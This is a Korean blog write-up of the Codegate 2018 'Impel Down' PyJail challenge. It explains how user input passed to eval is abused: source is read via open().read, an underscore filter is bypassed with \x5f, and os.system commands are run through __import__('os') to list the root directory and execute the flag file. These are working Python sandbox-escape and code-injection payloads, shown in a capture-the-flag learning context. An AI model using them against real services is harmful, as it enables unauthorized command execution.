Impel Down(Misc) / 186pt / Solver : Glucose
PyJail break문제이다. 행복하다.
단순히 Name을 입력받고 Impel Down을 탈출하면 되는 문제이다. 그런데 시간 초과가 있다.
이름을 입력하고 들어가면 coworker, tool, dig, bomb등의 기능이 있는데 이 기능만 되고 다른 명령어는 없는듯 하다 화가 나서 오타를 냈다. “.”을 하나 더 넣었는데 오류가 났다. 행복하다.
넣은 값을 이용하여 앞 뒤로 각각 “your.”, “()”를 붙이고 eval로 실행한다. 공격 벡터라고 판단하였다. 또한 Impel_Down.py라는 파일을 실행 한다는 것을 알 수 있다.
앞에 your.라는 문자열 때문에 print같은 키워드는 사용이 불가하다.(print, import…) 그래서 일단 소스코드를 뽑기로 했다.
> 입력 : dig, open("Impel_Down.py", 'rb').read
> eval(“your.dig, open(‘Impel_Down.py’, ‘rb’).read()”)
_가 사용 불가 문자열이기 때문에 필터링 된다. 따라서 우회를 위해 다음과 같이 변경하였다.
여기 부터는 서버에 접속이 불가하여 기억에 의존하여 글로만 작성합니다.
처음에는 os 모듈을 불러오려 했으나 모듈이 import되어 있지 않아 오류가 발생하였고 sys로시도하였을 때에는 sys모듈이 import되어있다고 판단할 수 있었다.
따라서 출력함수를 sys.exit()로 실행하여 실행이 종료하면서 원하는 값을 출력할 수 있도록 하였다. 38자 제한으로 인해 원하는 길이 만큼 넣을 수 있었던 이름의 변수 명을 찾기 위해 다음과 같은 시도를 하였다.
> dig, sys.exit(dir())
결과적으로 선언된 이름들이 나열되는 결과를 볼 수 있고 name이라는 변수를 찾을 수 있다.
따라서 다음과 같이 실행한다.
> name : open(‘Empel\x5fDown.py’, ‘rb’).read()
> dig, sys.exit(eval(name))
모든 소스코드가 추출되며 최상단 루트 디렉토리에 /FLAG~~~~라는 것이 존재한다고 한다. os모듈을 불러오기를 시도한다.
> name : __import__('os').system('ls /')
> dig,sys.exit(eval(name))
결과 플래그 파일의 이름을 찾을 수 있다.
이 파일을 실행하면 플래그가 나오는 구조이기 때문에 실행한다.
> name :__import__('os').system('/FLAG_FLAG_FLAG_LOLOLOLOLOLOL')
> dig,sys.exit(eval(name))
'CTF Write-up > 2018' 카테고리의 다른 글
Codegate 2018 Final / Random Picross (0) | 2018.04.07 |
---|---|
Codegate 2018 Final / Flower Dance (0) | 2018.04.07 |
VolgaCTF2018 quals / Old Goverment Site (0) | 2018.03.26 |
Codegate 2018 qual / Miro (0) | 2018.03.01 |
Codegate 2018 qual / Useless (0) | 2018.03.01 |